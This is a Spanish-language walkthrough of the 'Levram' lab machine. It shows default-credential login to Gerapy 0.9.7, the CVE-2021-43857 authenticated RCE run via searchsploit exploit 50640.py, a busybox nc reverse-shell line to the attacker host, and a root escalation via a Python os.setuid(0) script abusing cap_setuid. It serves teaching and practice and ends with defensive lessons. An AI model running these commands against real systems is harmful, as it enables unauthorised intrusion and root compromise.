Levram
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Levram corre Gerapy v0.9.7 en el 8000. Entramos con credenciales por defecto (admin/admin) y lanzamos la RCE autenticada CVE-2021-43857, cayendo comoapp. El binario/usr/bin/python3.10tiene la capabilitycap_setuid=ep, así que unos.setuid(0)seguido de una shell nos convierte en root (abuso de cap_setuid).
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo dos puertos:
ping -c 1 192.168.205.24
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.205.24PORT STATE SERVICE
22/tcp open ssh
8000/tcp open httpnmap -p22,8000 -sCV 192.168.205.24 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
8000/tcp open http WSGIServer 0.2 (Python 3.10.6)
|_http-title: GerapyGerapy - TCP 8000
El 8000 sirve Gerapy, un panel web para gestionar arañas de scraping Scrapy. Acepta las credenciales por defecto admin/admin:

Ya dentro, el dashboard (/#/home) no muestra ningún cliente, pero lo que interesa está en el pie de página: Copyright © 2026 Gerapy v0.9.7. Esa línea es la que fija la versión exacta y, con ella, la búsqueda de vulnerabilidades:

CLIENT 0 Normal Clients
CLIENT 0 Error Clients
Copyright © 2026 Gerapy v0.9.7 All Rights Reserved.searchsploit confirma la RCE autenticada de esa versión:
searchsploit gerapyGerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) | python/remote/50640.py (CVE-2021-43857)Explotación
CVE-2021-43857: RCE autenticada
Gerapy permite crear y ejecutar proyectos; la CVE-2021-43857 abusa de esa funcionalidad para ejecutar comandos arbitrarios con sesión válida. Hay un detalle que condiciona todo: el exploit no crea el proyecto, lo busca, así que si la instalación está vacía no encuentra nada contra lo que disparar. Por eso el primer paso es crear uno desde la propia interfaz (Projects → create), con un nombre cualquiera, aquí test:

PROJECT + create
Create | Upload | Clone
Name: test
This will create a configurable project
[cancel] [create]Con el proyecto ya existente, copiamos el exploit a nuestro directorio con searchsploit -m y lo renombramos a algo manejable. El 50640.py inicia sesión con admin/admin, localiza el proyecto y lanza una reverse shell:
searchsploit -m python/remote/50640.py
mv 50640.py exp.py
python3 exp.py -t 192.168.205.24 -p 8000 -L 192.168.45.232 -P 22
Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Resolving URL ...
[*] Logging in to application ...
[*] Login successful! Proceeding ...
[*] Getting the project list
[*] Found project: test
[*] Getting the ID of the project to build the URL
[*] Found ID of the project: 3
[*] Setting up a netcat listener
listening on [any] 22 ...
[*] Executing reverse shell payload
[*] Watchout for shell! :)
connect to [192.168.45.232] from (UNKNOWN) [192.168.205.24] 32900
bash: cannot set terminal process group (846): Inappropriate ioctl for device
bash: no job control in this shell
app@ubuntu:~/gerapy$El exploit hace todo el trabajo, incluido levantar su propio listener con el -P 22, y el Found ID of the project: 3 confirma que localizó el test que acabamos de crear. Pero la shell que entrega no sirve para trabajar: las dos líneas de bash dicen que no hay terminal de control, así que ni Ctrl+C ni su ni historial.
Antes de disparar la shell, dejamos Penelope a la escucha en el puerto 80 (el exploit abre su propio nc en el 22 para el primer contacto):
penelope
(Penelope)> listeners add -p 80El primer callback llega a la escucha del exploit en el 22, pero es una shell no interactiva (bash: no job control in this shell); la estabilizamos reconectando con busybox nc al 80, donde espera Penelope:
busybox nc 192.168.45.232 80 -e bash
Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Login successful! Proceeding ...
[*] Getting the project list
[*] Found project: test
[*] Found ID of the project: 3
[*] Setting up a netcat listener
listening on [any] 22 ...
[*] Executing reverse shell payload
[*] Watchout for shell! :)
connect to [192.168.45.232] from (UNKNOWN) [192.168.205.24] 32900
bash: cannot set terminal process group (846): Inappropriate ioctl for device
bash: no job control in this shell
app@ubuntu:~/gerapy$ busybox nc 192.168.45.232 80 -e bash
(Penelope)> listeners add -p 80
[+] Got reverse shell from ubuntu~192.168.205.24-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
app@ubuntu:~/gerapy$ whoami
appLa shell estabilizada por Penelope corre como app.
Local
cat local.txt && ip a && hostname && whoami
d6bcaef8860a9945aad418621ee3dbd5
appEscalada de privilegios
Capability cap_setuid en python3.10
Enumeramos las capabilities del sistema con getcap. Las capabilities son porciones de los privilegios de root asignables a un binario concreto; getcap destaca que /usr/bin/python3.10 lleva cap_setuid=ep:
getcap -r / 2>/dev/null/usr/bin/python3.10 cap_setuid=epcap_setuid permite al binario cambiar su UID a cualquier valor sin ser root, es decir, llamar a setuid(0) con éxito (abuso de cap_setuid). Un script mínimo que fije el UID a 0 y lance una shell nos da root:
# privesc.py
import os
os.setuid(0)
os.system("/bin/bash")/usr/bin/python3.10 privesc.py
app@ubuntu:~$ getcap -r / 2>/dev/null
/usr/bin/python3.10 cap_setuid=ep
...
app@ubuntu:~$ /usr/bin/python3.10 privesc.py
root@ubuntu:~# whoami
rootgetcap confirma que /usr/bin/python3.10 tiene cap_setuid=ep: con esa capability, os.setuid(0) cambia el UID a 0 sin ser SUID, y el bash resultante es de root.
Root
cat /root/proof.txt && whoami && ip a && hostname
2291cccf65790ed3a12e48bf2ed95e5a
rootCadena de ataque
HTTP (8000) -- Gerapy v0.9.7
│ credenciales por defecto admin/admin
│ CVE-2021-43857: RCE autenticada -> reverse shell
▼
app (local.txt)
│ cap_setuid=ep en /usr/bin/python3.10 -> os.setuid(0)
▼
root (proof.txt)Lecciones aprendidas
- Default credentials + RCE autenticada = acceso completo.
admin/adminabrió Gerapy y su versión arrastraba la CVE-2021-43857. La contraseña de fábrica convirtió una RCE "autenticada" en trivial. getcapes obligatorio en la enumeración Linux. Una capability mal asignada no aparece ensudo -lni en los SUID clásicos; sologetcap -r /la revela. Es un vector que muchos pasan por alto.cap_setuiden un intérprete es root directo. Dar esa capability a Python (o a Perl, Ruby...) equivale a regalar el SUID de root: el binario puede llamar asetuid(0)a voluntad. Las capabilities deben limitarse a binarios que realmente las necesiten y no a intérpretes de propósito general.